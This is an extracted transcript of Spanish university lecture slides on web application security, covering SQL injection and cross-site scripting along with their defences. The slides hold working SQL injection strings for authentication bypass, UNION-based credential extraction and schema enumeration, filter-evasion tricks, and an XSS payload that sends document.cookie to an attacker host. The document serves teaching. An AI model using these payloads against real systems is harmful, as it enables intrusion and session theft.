seguridad en aplicaciones web (ii) computación web … · bases de datos sql (inyección de sql)....

25
Edited with emacs + LAT E X+ prosper Seguridad en Aplicaciones Web (II) Computación Web (Curso 2013/2014) Jes ´ us Arias Fisteus // [email protected] Seguridad en Aplicaciones Web (II)– p. 1

Upload: lamnga

Post on 01-Oct-2018

235 views

Category:

Documents


0 download

TRANSCRIPT

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en Aplicaciones Web (II)

Computación Web (Curso 2013/2014)

Jesus Arias Fisteus // [email protected]

Seguridad en Aplicaciones Web (II)– p. 1

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Seguridad en Aplicaciones Web (II)– p. 2

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Principales ataques:

Bases de datos SQL (inyección de SQL).

Bases de datos XML.

Directorios LDAP.

Seguridad en Aplicaciones Web (II)– p. 3

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de SQL

http://xkcd.com/327/

Seguridad en Aplicaciones Web (II)– p. 4

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

La comilla simple es un carácter especial en SQL.

La secuencia “--” (comentario) invalida el restodel comando.

nombre = "juan’ -- ’"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre=’" + nombre

+ "’ AND contrasena=’" + password + "’";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre=’juan’ -- ’’ AND contrasena=’’

Seguridad en Aplicaciones Web (II)– p. 5

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

Si no se conoce el nombre del usuario, se puedeobtener el primero.

En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.

nombre = "’ OR 1=1 -- ’"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre=’" + nombre

+ "’ AND contrasena=’" + password + "’";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre=’’ OR 1=1 -- ’’ AND contrasena=’’

Seguridad en Aplicaciones Web (II)– p. 6

Edited

with

em

acs

+LA

T EX

+pro

sper

Tipos de consultas

Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)

Se puede inyectar tanto en datos textuales comoen datos numéricos.

Seguridad en Aplicaciones Web (II)– p. 7

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a consultas INSERT

En un campo se inyectan el resto de los valores:

contrasena = "passwd’, 10000000) -- ’"

String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES (’"

+ nombre + "’, ’" + contrasena + "’, " + saldo + ")";

// Consulta realizada:

INSERT INTO Usarios (nombre, contrasena, saldo)

VALUES (’nombre’, ’passwd’, 10000000) -- ’’, 0)

Seguridad en Aplicaciones Web (II)– p. 8

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques con UNION

El comando UNION permite combinar resultadosde dos consultas.

genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "

String consulta = "SELECT titulo, autor, precio FROM Libros

WHERE genero=" + genero;

// Consulta realizada:

SELECT titulo, autor, precio FROM Libros

WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --

Seguridad en Aplicaciones Web (II)– p. 9

Edited

with

em

acs

+LA

T EX

+pro

sper

Nombres de tablas y columnas

Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.

A veces los nombres son predecibles.

En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:

UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

UNION SELECT TABLE_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_SCHEMA=’DemoSeguridad’

UNION SELECT COLUMN_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_SCHEMA=’DemoSeguridad’ AND TABLE_NAME=’Usuarios’

Seguridad en Aplicaciones Web (II)– p. 10

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de segundo orden

Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.

Las comillas no son necesarias en camposnuméricos.

El comentario se reemplaza por “or ’a’=’a”.

El bloqueo de palabras clave se puede esquivara veces:SeLeCt

SELSELECTECT

Si se filtran blancos, se puede insertarcomentarios “/* */”.

Seguridad en Aplicaciones Web (II)– p. 11

Edited

with

em

acs

+LA

T EX

+pro

sper

Defensa frente a estos ataques

Usar PreparedStatement o equivalente:

En todas las consultas, no sólo en las quetoman datos directamente del usuario.

Usar el nivel de privilegios más bajo posible.

Deshabilitar funciones innecesarias de las basesde datos.

Mantener el gestor de bases de datos siempreactualizado.

Seguridad en Aplicaciones Web (II)– p. 12

Edited

with

em

acs

+LA

T EX

+pro

sper

Otros ataques de inyección de código

Otros ataques similares por inyección de código:

Inyección en comandos del sistema operativo.

Inyección en lenguajes de scripting.

Inyección en JSON.

Inyección en XML.

Inyección en LDAP.

Inyección en correo electrónico.

Inyección en cabeceras de HTTP.

Seguridad en Aplicaciones Web (II)– p. 13

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Seguridad en Aplicaciones Web (II)– p. 14

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:

Cross-site scripting.

Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress

Captura de datos desde otros dominios.

Fijación de sesiones.

Redirección abierta.

Inyección de SQL en el cliente.

Ataques al navegador.

Seguridad en Aplicaciones Web (II)– p. 15

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Tres tipos principales de ataque:

Reflejado.

Almacenado.

Basado en DOM.

Seguridad en Aplicaciones Web (II)– p. 16

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.

Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred

El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;

+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>

Los enlaces se pueden disimular con codificaciónURL.

Seguridad en Aplicaciones Web (II)– p. 17

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Seguridad en Aplicaciones Web (II)– p. 18

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Envío del enlace malicioso al usuario:

Por correo electrónico.

En mensajería instantánea.

Desde un sitio Web de terceros o del atacante.

Mediante redes de publicidad.

Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.

Seguridad en Aplicaciones Web (II)– p. 19

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.

El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.

Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.

Seguridad en Aplicaciones Web (II)– p. 20

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

Seguridad en Aplicaciones Web (II)– p. 21

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting basado en DOM

El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().

Ataque similar en parte a cross-site scriptingreflejado.

Seguridad en Aplicaciones Web (II)– p. 22

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Posibles acciones de ataque:

Pintadas virtuales (defacement).

Inyección de troyanos y phishing.

Inducción de acciones por el usuario.

Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.

Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.

Seguridad en Aplicaciones Web (II)– p. 23

Edited

with

em

acs

+LA

T EX

+pro

sper

Prevención de cross-site scripting

Validar la entrada del usuario:

Restricciones de longitud, conjunto decaracteres, expresiones regulares.

Validar la salida:

Reemplazo de caracteres reservados de HTMLpor referencias a entidades.

Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).

Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.

Seguridad en Aplicaciones Web (II)– p. 24

Edited

with

em

acs

+LA

T EX

+pro

sper

Referencias

Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons

Acceso en Safari

Capítulos 9 y 12.

Seguridad en Aplicaciones Web (II)– p. 25